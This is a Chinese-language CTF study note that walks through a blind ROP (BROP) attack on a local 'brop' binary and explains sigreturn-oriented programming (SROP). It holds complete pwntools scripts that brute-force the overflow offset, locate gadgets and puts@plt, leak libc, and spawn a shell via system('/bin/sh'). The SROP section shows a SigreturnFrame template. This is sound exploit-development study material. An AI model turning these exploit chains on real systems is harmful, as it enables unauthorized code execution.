接下来需要给dump文件设置基地址,因为我们是从0x400000处开始dump的,所以基地址就设为0x400000
设置步骤:edit->segments->rebase program 将程序的基地址改为 0x400000
由于我们之前找到了puts函数的plt地址0x400560,所以我们找到偏移0x560处
Pasted image 20250206220625

6.查询libc版本

libc database search
这里我们直接调用本地的就行

7.getshell
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005d0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400565
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
ret = brop_gadget + 9 + 1
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recv(6).ljust(8,b'\x00')
sh.recv()
puts_addr =u64(data)
print(hex(puts_addr))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * length + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

成功get shell
Pasted image 20250206224413

from pwn import*
#1.暴力枚举出栈溢出长度
def getsize():
i = 1
while 1:
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send(i*'a')
data = p.recv()
p.close()
if not data.startswith(b'No password'):
return i-1
else:
i+=1
except EOFError:#主要探测是否具有canary
p.close()
return i-1

size = getsize()
print ("size is : %s "% size)

from pwn import *

#2
def get_stop():
addr = 0x4005cf
while 1:
sleep(0.1)
addr += 1
try:
print("Now,trying the address is ",hex(addr))
p = process('./brop')
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = b'a'*72 + p64(addr)
print("Now,the payload is ",payload)
p.sendline(payload)
data = p.recv()
p.close()
if data.startswith(b'WelCome'):
print ("main funciton-->[%s]"%hex(addr))
return addr
else:
print ('one success addr : 0x%x'%hex(addr))
except EOFError as e:
p.close()
print("a bad addr",hex(addr))
except:
print("Can't connect,retrying")
addr -= 1

data = get_stop()
print ("Success,call Main Function address is",hex(data))
from pwn import *

#3
def get_brop_gadget(length, stop_gadget, addr): #查找brop gadget函数
try:
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget)
sh.sendline(payload)
content = sh.recv()
sh.close()
print (content)
if not content.startswith(b'WelCome'):
#判断提示符是否出现起始提示字符,如果有说明程序没崩溃
return False
return True
except Exception:
sh.close()
return False

def check_brop_gadget(length, addr):#检查地址
try:
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(addr) + b'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True

#4
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005d0
addr = 0x4007b0
#理论上应该从0x400000开始寻找,但是这个环节要找的是Libc_csu_init函数,所以大多数的libc中Libc_csu_init函数的起始地址都在0x400740之后,所以为了减少误差,从0x400740开始
while 1: #循环递增要测试的地址
print (hex(addr))
if get_brop_gadget(length, stop_gadget, addr):
print ('possible brop gadget: 0x%x' % addr)
if check_brop_gadget(length, addr):
print ('success brop gadget: 0x%x' % addr)
break
addr += 1

def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400559
while 1:
print (hex(addr))
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
#72个A填充栈空间,调用pop rdi;ret gadget将0x400000pop进rdi寄存器,循环增长的地址放在gadget的ret位置,在执行完gadget后直接调用循环增长的地址,如果增长到puts_plt地址就会打印rdi寄存器中地址内存放的字符串,最后的stop gadget是为了让程序不崩溃
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith(b'\x7fELF'):#判断是否打印\x7fELF
print ('find puts@plt addr: 0x%x' % addr)
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

##length = getbufferflow_length()
length = 72
rdi_ret = 0x4007ba+0x9
##get_stop_addr(length)
stop_gadget = 0x4005d0
puts = get_puts_addr(length,rdi_ret,stop_gadget)

#5
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005d0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400565
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
ret = brop_gadget + 9 + 1#栈对齐
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recv(6).ljust(8,b'\x00')
sh.recv()
puts_addr =u64(data)
print(hex(puts_addr))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * length + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

😭SROP(暂时学不懂,待续)

文章 - 高级ROP之SROP利用 - 先知社区
SROP,全称为Sigreturn Oriented Programming,主要触发原理为sigreturn这个系统调用,这个系统调用一般是程序在发生 signal 的时候被间接地调用

攻击原理

分析内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame
    说到这里,其实,SROP 的基本利用原理也就出现了。

    漏洞利用

    看完原理之后我们可以发现,sigreturn 系统调用会将进程恢复为之前”保存的“,也就是从栈中pop回到各寄存器,在执行sigreturn 系统调用期间,我们对栈中的值是可以任意读写的,而且由于内核与信号处理程序无关, signal 对应的各个寄存器值并不会被记录,那么,只要我们能够劫持栈中的数据,伪造一个 Signal Frame ,那么就可以控制任意寄存器的值

    获取shell

    首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息
    Pasted image 20250207180326
    当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。获取shell实际上就是执行了系统调用 execve(“/bin/sh”,0,0)
    获取shell需要满足以下条件:

  • 栈溢出以控制栈的内容

  • 能控制rax寄存器为sigreturn 系统调用函数的调用号
  • 有syscall系统调用函数或者汇编代码
  • 栈空间足够大

具体SROP操作如下

  1. 通过栈溢出劫持返回地址,构造SROP
  2. 控制rax寄存器为sigreturn 的系统调用号
  3. 执行syscall进入sigreturn 系统调用
  4. 控制栈布局,使sigreturn 系统调用结束后的pop指令能够准确控制各个寄存器成我们想要的值
    例如获取shell的各寄存器控制:
    rax —>59(execve的系统调用号)
    rdi —> ‘/bin/sh’
    rsi —> 0
    rdx —>0
    rip —> syscall
    此时再继续向下调用时就可以执行execve(“/bin/sh”,0,0)了

    system call chains

    需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可
  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。
    如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。
    Pasted image 20250207180429

    后续

    需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个 sigal frame
    此外,关于 sigreturn 以及 syscall;ret 这两个 gadget 在上面并没有提及。提出该攻击的论文作者发现了这些 gadgets 出现的某些地址:Pasted image 20250207180522并且,作者发现,有些系统上 SROP 的地址被随机化了,而有些则没有。比如说Linux < 3.3 x86_64(在 Debian 7.0, Ubuntu Long Term Support, CentOS 6 系统中默认内核),可以直接在 vsyscall 中的固定地址处找到 syscall&return 代码片段。如下Pasted image 20250207180547但是目前它已经被vsyscall-emulatevdso机制代替了。此外,目前大多数系统都会开启 ASLR 保护,所以相对来说这些 gadgets 都并不容易找到。

值得一说的是,对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。

实际利用

Pasted image 20250207180210

值得一提的是,在目前的 pwntools 中已经集成了对于 srop 的攻击。
pwntools集成了有关SROP链的构造函数 SigreturnFrame()
工具构造和利用如下:

frame = SigreturnFrame()
frame.rax =
frame.rdi =
frame.rsi =
frame.rdx =
frame.rcx =
frame.rip =
frame.rsp =

用与参与栈布局的构造
在payload构造中利用bytes(frame)包裹即可

示例

ctf-challenges/pwn/stackoverflow/srop/2016-360春秋杯-srop at master · ctf-wiki/ctf-challenges